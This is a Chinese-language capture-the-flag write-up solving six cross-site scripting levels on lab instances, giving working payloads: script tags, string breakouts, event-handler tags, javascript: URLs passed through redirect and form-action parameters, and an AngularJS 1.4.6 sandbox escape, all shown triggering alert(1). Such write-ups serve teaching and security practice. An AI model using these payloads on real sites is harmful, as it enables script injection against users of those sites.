XSS闖關
level1
訪問url:
http://c884a553-d874-4514-9c32-c19c7d7b6e1c.node3.buuoj.cn/level1?username=xss
因為是xss,所以對傳參進行測試,修改?username=1,進行訪問
會發現username參數傳入什么,welcome之后就會顯示什么,所以直接構造<script>
標簽payload:
<script>alert(/xss/)</script>
成功通關
level2
訪問url:
http://c884a553-d874-4514-9c32-c19c7d7b6e1c.node3.buuoj.cn/level2?username=xss
繼續對傳參進行測試,修改?username=1,進行訪問,依舊回顯
輸入script
標簽
<script>alert(/xss/)</script>
發現被轉碼了,右鍵查看源碼
url中username之后的參數傳入var username里,也就是說這行代碼是動態改變的
可以看到username被escape函數編碼了,比較難繞過。
類似于SQL注入中的堆疊注入,閉合前面的單引號,注釋后面的單引號,之后只要把我們的js代碼傳入里面,就可以在這個script標簽中執行
構造payload:
';alert(1);'
拼接之后這行代碼會變為:
var username = '';alert(1);'';
效果等同于
var username = '';
alert(1);
'';
代碼就會執行alert(1)了
level3
訪問url:
http://45a495fa-3b10-4d00-b9c0-c76d2660f037.node3.buuoj.cn/level3?username=xss
輸入第二關構造的payload:
';alert(1);'
發現’被\轉義了
因為第一個單引號會被過濾,所以我們輸入兩個雙引號,構造payload:
'';alert(1);'
代碼就會執行alert(1)
了
審查源碼,我們可以發現,第三題并沒有escape。在這里可以使用使用a標簽+鼠標滑過事件,構造payload:
<a onmouseover="alert(1)">
當鼠標劃過這個a標簽時,觸發alert
構造payload:
<img src=1 onerror=alert(1)>
使用img標簽
level4
訪問url:
45a495fa-3b10-4d00-b9c0-c76d2660f037.node3.buuoj.cn/level4
這是一個定時重定向,每過十秒就會重定向刷一次頁面
觀察url,發現沒有給出參數,所以右鍵查看源碼
<script type="text/javascript">//time為10就是10秒重定向刷一次頁面var time = 10;var jumpUrl;//自定義的參數//獲取參數jumpUrl//getQueryVariable結果為false,就賦為location.href;為true,getQueryVariable并把jumpUrl傳過去,并賦值為函數的返回值if(getQueryVariable('jumpUrl') == false){jumpUrl = location.href;}else{jumpUrl = getQueryVariable('jumpUrl');}//下面就是一些賦值和十秒倒計時setTimeout(jump,1000,time);function jump(time){if(time == 0){location.href = jumpUrl;}else{time = time - 1 ;document.getElementById('ccc').innerHTML= `頁面${time}秒后將會重定向到${escape(jumpUrl)}`;setTimeout(jump,1000,time);}}//關鍵在這里function getQueryVariable(variable){//URL中,從?開始的參數部分然后以&進行分割,分成數組//首先,想到的是,既然有&,并且上面提到了jumpUrl變量,那我們就得構造一個&jumpUrl變量//這個函數returnjumpUrl的值給到上面倒計時中的innerHTMLvar query = window.location.search.substring(1);var vars = query.split("&");for (var i=0;i<vars.length;i++) {var pair = vars[i].split("=");if(pair[0] == variable){return pair[1];}}return(false);}</script>
注意jumpUrl就是我們要跳轉的網頁,因此我們要注入的點應該是jumpUrl。
先一步一步審一下代碼。getQueryVariable函數里面的query就是?后面的內容,比如http://localhost:3000/level4?123456,這樣的話query就是123456。
vars是query以&作為分隔符分隔后形成的數組。簡單來說就是相當于獲得了每個參數。
然后遍歷每個參數。將每個參數以=為分隔符再分隔形成數組,這樣pair[0]相當于參數名,pair[1]相當于值。接著進行判斷,if(pair[0] == variable){return pair[1];}
因此我們直接構造好參數名,就是控制返回的內容。
因此這樣:
通過這樣的方式來實現注入
…/level4?payload
偽鏈接
javascript:alert(1)
,瀏覽器會把javascript后面的那一段內容當做代碼,直接在當前頁面執行。
代碼中接收jumpUrl作為跳轉url,所以構造payload:
../level4?jumpUrl=javascript:alert(1)
等待十秒利用js偽協議觸發alert(1)
level5
訪問url:
http://efd46ffe-debb-45f1-95e5-77ebeb9ae065.node3.buuoj.cn/level5
沒有參數,只有一個輸入框
輸入正常payload:
<script>alert(/xss/)</script>
輸入如下圖:
結果顯示不能用post方法
右鍵查看源碼
<script type="text/javascript">//類比第四關中,getQueryVariable為false,不進行操作,我們需要執行js代碼,這顯然不是我們要的//如果想要為true,那就帶上這個autosubmit參數//只是跟這個參數autosubmit參數值的關系不大,只是需要有這樣一個參數,因為下面,都是在對另一個參數action操作if(getQueryVariable('autosubmit') !== false){var autoForm = document.getElementById('autoForm');//這里又一次出現了getQueryVariable函數,其實就是得存在actionautoForm.action = (getQueryVariable('action') == false) ? location.href : getQueryVariable('action');autoForm.submit();}else{}function getQueryVariable(variable){var query = window.location.search.substring(1);var vars = query.split("&");for (var i=0;i<vars.length;i++) {var pair = vars[i].split("=");if(pair[0] == variable){return pair[1];}}return(false);}</script>
源碼中有條件限制
第一個限制為
if(getQueryVariable(‘autosubmit’) !== false){
突破第一個限制的方法是給autosubm傳個值
autosubmit=1
第二個限制為
autoForm.action = (getQueryVariable(‘action’) == false) ? location.href : getQueryVariable(‘action’);
突破第二個限制的方法是getQueryVariable(‘action’) 不能為false,然后構造action
action=javascript:alert(1)
構造payload:
?autosubmit=1&action=javascript:alert(1)
成功執行alert(1)
level6
訪問url:
http://efd46ffe-debb-45f1-95e5-77ebeb9ae065.node3.buuoj.cn/level6?username=xss
輸入paylaod:
<script>alert(1)</script>
結果輸入完全被當成了字符串
本題考查的是二次渲染導致的XSS
構造payload進行驗證
?username={{3*3}}
頁面輸出了9,證實了是模板xss
查看一下這個環境用的是哪個模板,發現是AngularJS 1.4.6:
逃逸的payload為:
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
因此我們可以構造payload為:
?username={{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
成功獲取flag:
文筆生疏,措辭淺薄,望各位大佬不吝賜教,萬分感謝。
免責聲明:由于傳播或利用此文所提供的信息、技術或方法而造成的任何直接或間接的后果及損失,均由使用者本人負責, 文章作者不為此承擔任何責任。
轉載聲明:儒道易行 擁有對此文章的修改和解釋權,如欲轉載或傳播此文章,必須保證此文章的完整性,包括版權聲明等全部內容。未經作者允許,不得任意修改或者增減此文章的內容,不得以任何方式將其用于商業目的。